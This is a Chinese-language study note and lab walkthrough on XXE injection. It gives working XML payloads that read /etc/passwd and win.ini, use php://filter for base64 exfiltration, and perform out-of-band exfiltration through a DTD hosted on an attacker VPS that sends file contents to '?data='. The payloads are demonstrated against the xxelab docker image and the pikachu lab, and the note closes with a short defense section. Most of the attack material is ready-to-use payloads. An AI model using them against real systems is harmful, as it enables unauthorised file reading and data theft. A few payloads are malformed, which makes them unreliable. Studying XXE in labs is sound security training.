XXE 学习
基础学习
XXE(XML External Entity Injection)被称为xml外部实体注入,漏洞发生在应用程序解析用户提交的xml文件时,没有对xml文件引用的外部实体做合适的处理,导致外部的恶意文件和代码被加载,从而造成任意文件被读取,命令执行,内网端口扫描,攻击内网网站,ddos攻击等。
如何构建外部实体
一:直接通过DTD外部实体声明
eg:
(1)文件读取:
windows
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY f SYSTEM "file:///c://windows//win.ini">
]>
<x>&f;</x>
linux
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
或者 不加file 协议 也可以尝试成功
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "/etc/passwd">
]>
<x&file;</x>
(2)base64 编码读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<x>&f;</x>
(3)访问外部网页:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY f SYSTEM "http://192.168.157.137/evilf.dtd">
]>
<x>&f;</x>
二:(一般实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明
vps内容
<!ENTITY b SYSTEM "file:///etc/passwd">
请求包
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "http://192.168.157.137/evil.dtd">
]>
<a>&b;</a>
三:(参数实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明。
有回显
vps 内容
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %b SYSTEM "http://192.168.157.137/evil.dtd">
]>
<a>%b;</a>
请求包
<!ENTITY b SYSTEM "file:///etc/passwd">
适用于 无回显
vps 布置 xml.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM
'http://192.168.157.137/?data=%file;'>"
>
%all;
请求包内容为:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://192.168.157.137/xml.dtd">
<!ENTITY % file SYSTEM "file:///D:/test.txt">
%remote;
%send;
]>
支持的协议
防御方法
- 用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的xml数据
<!ENTITY
SYSTEM
PUBLIC
<!DOCTYPE
靶场练习 docker XXE
靶场搭建
下方命令 意思是
下载镜像 rrodrigo/xxelab 到本地
查看存在的镜像
开启镜像rrodrigo/xxelab 映射到80端口
docker pull rrodrigo/xxelab
docker images
docker run -dt --name xxe -p 80:80 --rm rrodrigo/xxelab
搭建完成
可以 docker ps -a查看
启动成功
访问不成功的话 检查防火墙
systemctl status firewalld.service
systemctl stop firewalld.service
漏洞挖掘
(1)抓包
明显是xml格式
响应包 显示123 已经被注册 不知道 哪个参数的123
(2)重新输入不一样的参数
确定 email处 有回显
(3)引用外部实体 构造 任意文件读取尝试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
指定文件为 /etc/passwd
用不用file协议均可以
或者
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
(4)防止有返回包验证用base64编码返回
php://filter/read=convert.base64-encode/resource=/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&f;</email><password>333</password></root>
之后再用base64解码即可
靶场练习 pikachu(win10)
靶场搭建
phpstudy_pro 和 pikachu源码 搭建接即可
漏洞挖掘
(1)测试
(2)读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY f SYSTEM "file:///c://windows//win.ini">
]>
<x>&f;</x>
(3) base64 编码读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=c://windows//win.ini">
]>
<x>&f;</x>
无回显情况
将读取到的内容以get请求发送到 vps 或者 你控制了的内网机子上(开启一个http服务)
vps 上布置 xml.dtd内容如下
<!ENTITY % all
"<!ENTITY % send SYSTEM
'http://192.168.157.137/?data=%file;'>"
>
%all;
请求包内容为:
xml=<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://192.168.157.137/xml.dtd">
<!ENTITY % file SYSTEM "file:///D:/test.txt">
%remote;
%send;
]>&submit=%E6%8F%90%E4%BA%A4
可以看到 数据以get请求方式 发送过来